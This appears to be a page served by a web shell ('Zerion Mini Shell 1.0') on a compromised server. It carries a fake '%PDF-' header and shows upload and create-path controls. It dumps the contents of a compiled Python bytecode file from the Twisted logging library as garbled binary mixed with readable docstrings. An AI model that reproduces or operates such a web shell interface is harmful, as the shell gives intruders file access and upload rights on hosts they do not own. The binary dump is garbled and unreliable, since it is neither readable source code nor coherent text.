%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/logger/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/logger/__pycache__/_flatten.cpython-312.pyc

�

Ϫ�f����dZddlmZddlmZddlmZmZmZddl	m
Z
e�ZGd�d�Zd	e
d
dfd�Z
d
ed	e
d
efd�Zd	e
d
efd�Zy)z�
Code related to "flattening" events; that is, extracting a description of all
relevant fields from the format string and persisting them for later
examination.
�)�defaultdict)�	Formatter)�Any�Dict�Optional�)�LogEventc�<�eZdZdZd	d�Zdedeedeedefd�Zy)
�KeyFlattenerz�
    A L{KeyFlattener} computes keys for the things within curly braces in
    PEP-3101-style format strings as parsed by L{string.Formatter.parse}.
    �returnNc�&�td��|_y)z/
        Initialize a L{KeyFlattener}.
        c��y)Nr�r��9/usr/lib/python3/dist-packages/twisted/logger/_flatten.py�<lambda>z'KeyFlattener.__init__.<locals>.<lambda>s�rN)r�keys)�selfs r�__init__zKeyFlattener.__init__s��%0�	�$:��	r�	fieldName�
formatSpec�
conversionc���|�d}|�d}dj|||��}|j|xxdz
cc<|j|}|dk7r|dt|j|�zz
}|S)a�
        Compute a string key for a given field/format/conversion.

        @param fieldName: A format field name.
        @param formatSpec: A format spec.
        @param conversion: A format field conversion type.

        @return: A key specific to the given field, format and conversion, as
            well as the occurrence of that combination within this
            L{KeyFlattener}'s lifetime.
        �z%{fieldName}!{conversion}:{formatSpec})rrrr�/)�formatr�str)rrrr�result�ns      r�flatKeyzKeyFlattener.flatKey s������J����J�8�?�?��!�!�@�
��
	
�	�	�&��Q����I�I�f�����6��c�C��	�	�&� 1�2�2�2�F��
r)rN)�__name__�
__module__�__qualname__�__doc__rrrr rrrrrs9���
;����*2�3�-��EM�c�]��	�rr�eventrNc���|jdd��yd|vr|d}ni}t�}tj|d�D]�\}}}}|��|dk7rd}|j	|||�}|j	||d�}||vr�=|jd�r|dd}d	}	nd
}	tj
|d|�}
|
d}|dk(rt}nt}|	r|�}||�}
|
||<|||<��|r||d<yy)
z�
    Flatten the given event by pre-associating format fields with specific
    objects and callable results in a L{dict} put into the C{"log_flattened"}
    key in the event.

    @param event: A logging event.
    �
log_formatN�
log_flattened�r�srz()���TFrr)	�getr�
aFormatter�parser �endswith�	get_field�reprr)r%�fields�keyFlattener�literalTextrrr�flattenedKey�
structuredKey�callit�field�
fieldValue�conversionFunction�flattenedValues              r�flattenEventr<@s>��
�y�y��t�$�,���%����'�����>�L�:D�:J�:J�
�l��;�#+�6��Y�
�J��������J�#�+�+�I�z�:�N��$�,�,�Y�
�B�G�
��6�!�����d�#�!�#�2��I��F��F��$�$�Y��E�:���1�X�
����!%��!$���#��J�+�J�7��-��|�� *��}��G#+�J�!'��o��rr8c��t�}tjd|zdz�\\}}}}|�J�|j|||�}d|vrt	|�|d|S)a.
    Extract a given format field from the given event.

    @param field: A string describing a format field or log key.  This is the
        text that would normally fall between a pair of curly braces in a
        format string: for example, C{"key[2].attribute"}.  If a conversion is
        specified (the thing after the C{"!"} character in a format field) then
        the result will always be str.
    @param event: A log event.

    @return: A value extracted from the field.

    @raise KeyError: if the field is not found in the given event.
    �{�}r()rr-r.r r<)r8r%r3r4rrr�keys        r�extractFieldrA{su�� �>�L�9C�9I�9I��e��c��:�6�5�k�9�j�*�� � � �
�
�
�y�*�j�
A�C��e�#��U����!�#�&�&rc��|d}t�}g}tj|d�D]O\}}}}|j|�|��|j	|||xsd�}|jt||���Qdj
|�S)z�
    Format an event which has been flattened with L{flattenEvent}.

    @param event: A logging event.

    @return: A formatted string.
    r(r'r*r)rr-r.�appendr r�join)	r%�fieldValuesr3r*r4rrrr@s	         r�
flatFormatrF�s�����(�K��>�L�
�A�:D�:J�:J�
�l��;�,�6��Y�
�J�	
������ ��&�&�y�*�j�>O�C�P�C�
�H�H�S��S�)�*�+�,��7�7�1�:�r)r$�collectionsr�stringr�typingrrr�_interfacesr	r-rr<rrArFrrr�<module>rKsn��
�$��&�&�!�
�[�
�)�)�X8(��8(�T�8(�v'��'�H�'��'�>�h��3�r

Zerion Mini Shell 1.0